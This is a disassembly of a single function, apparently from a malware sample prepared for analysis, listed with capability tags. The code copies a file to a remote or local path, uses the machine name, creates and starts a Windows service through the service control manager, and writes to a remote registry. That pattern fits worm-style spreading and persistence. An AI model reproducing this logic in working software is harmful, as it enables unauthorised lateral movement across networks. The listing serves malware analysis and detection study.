Function at 0x40284d
Capabilities:
Copy file
Create service
Get hostname
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2de0
call fcn.00407f50
push ebx
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
push esi
push edi
mov dword [ebp - 4], 0x20
mov byte [ebp - 0x88], bl
je 0x402884
push dword [ebp + 0x10]
lea eax, [ebp - 0x88]
push eax
call fcn.00407740
pop ecx
pop ecx
jmp 0x402899
push 7
push 0xa
lea eax, [ebp - 0x88]
push 5
push eax
call fcn.00403723
add esp, 0x10
cmp dword [ebp + 0x18], ebx
je 0x4028a3
push dword [ebp + 0x18]
jmp 0x4028a8
push 0x4935e4
lea eax, [ebp - 0x588]
push eax
call fcn.00407740
mov esi, dword [ebp + 8]
pop ecx
pop ecx
lea eax, [ebp - 0x18c]
push esi
push eax
call fcn.00407740
push dword [ebp + 0xc]
lea eax, [ebp - 0x18c]
push eax
call fcn.00407750
add esp, 0x10
cmp dword [ebp + 0x14], ebx
je 0x4028f0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
call fcn.00407740
pop ecx
pop ecx
jmp 0x402912
push 1
push str.uX_X
call fcn.00407f2f
push 2
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x290]
push edx
push eax
call fcn.00404255
add esp, 0x10
cmp dword [0x4938f0], ebx
je 0x402938
push 1
push ebx
call fcn.00407f2f
push 2
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x290]
push edx
push eax
call fcn.00404255
add esp, 0x10
lea eax, [ebp - 0x18c]
push eax
call fcn.00407830
cmp byte [ebp + eax - 0x18d], 0x5c
lea eax, [ebp + eax - 0x18d]
pop ecx
jne 0x402958
mov byte [eax], bl
cmp byte [ebp - 0x290], 0x5c
je 0x402974
lea eax, [ebp - 0x18c]
push 0x40f044
push eax
call fcn.00407750
pop ecx
pop ecx
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.00407750
pop ecx
lea eax, [ebp - 0x18c]
pop ecx
push ebx
push eax
lea eax, [ebp - 0x588]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402aff
call fcn.00407f2f
push 5
cdq
pop ecx
idiv ecx
test edx, edx
je 0x4029d7
call fcn.00407f2f
cdq
mov ecx, 0x2800
idiv ecx
lea eax, [ebp - 0x18c]
add edx, 0x15080
push edx
push eax
call fcn.00404062
pop ecx
pop ecx
push 0x227a
lea eax, [ebp - 0x2de0]
push 0x40f0c0
push eax
call fcn.00407bf0
lea eax, [ebp - 0x2de0]
mov byte [ebp - 0x1dcc], bl
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.004056f9
add esp, 0x14
cmp dword [0x4938f0], ebx
jne 0x402aff
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 2]
push eax
call fcn.0040c910
pop ecx
test eax, eax
pop ecx
je 0x402aff
push 2
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
call esi
mov edi, eax
cmp edi, ebx
jne 0x402a55
cmp dword [ebp + 0x1c], ebx
je 0x402aff
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18c]
push ebx
push eax
push ebx
push 3
push 0x110
lea eax, [ebp - 0x88]
push ebx
push eax
lea eax, [ebp - 0x88]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push 1
push ebx
push dword [ebp + 8]
call esi
mov esi, eax
lea eax, [ebp - 0x88]
push 0x10
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push ebx
push ebx
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp + 0x10]
mov dword [ebp + 0x18], eax
call edi
push esi
call edi
cmp dword [ebp + 0x18], ebx
jne 0x402c27
mov edx, 0x81
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x95a]
mov word [ebp - 0x95c], bx
mov word [ebp - 0xb64], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xb62]
cmp dword [0x493904], ebx
rep stosd dword es:[edi], eax
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x18], ebx
stosw word es:[edi], ax
jne 0x402b06
xor eax, eax
jmp 0x402c2a
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x5c
jne 0x402b15
mov dword [ebp + 0x18], 1
mov edi, 0x104
lea eax, [ebp - 0x95c]
push edi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push 1
push ebx
call esi
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xb64]
push edi
push eax
mov eax, dword [ebp + 0x18]
push 0xffffffffffffffff
add eax, ecx
push eax
push 1
push ebx
call esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0xb64]
push 2
push eax
lea eax, [ebp - 0x95c]
push eax
call dword [0x493904]
test eax, eax
jne 0x402c27
push ebx
push ebx
lea eax, [ebp - 0x484]
push edi
push eax
mov eax, dword [ebp + 0x10]
push 0xffffffffffffffff
mov byte [ebp - 0x484], bl
push dword [eax + 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x14]
push eax
push closesocket
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x402c19
lea eax, [ebp - 0x754]
push 3
push eax
call fcn.00403cd7
lea eax, [ebp - 0x484]
push 0x40f044
push eax
call fcn.00407750
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00407750
lea eax, [ebp - 0x68c]
push ebx
push eax
push ebx
lea eax, [ebp - 0x484]
push ebx
push eax
mov byte [ebp - 0x68c], bl
call fcn.004078ab
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0x754]
push eax
push dword [ebp + 0x14]
call fcn.0040463f
add esp, 0x3c
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x49390c]
cmp eax, ebx
je 0x402c27
push dword [ebp + 0x10]
call eax
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret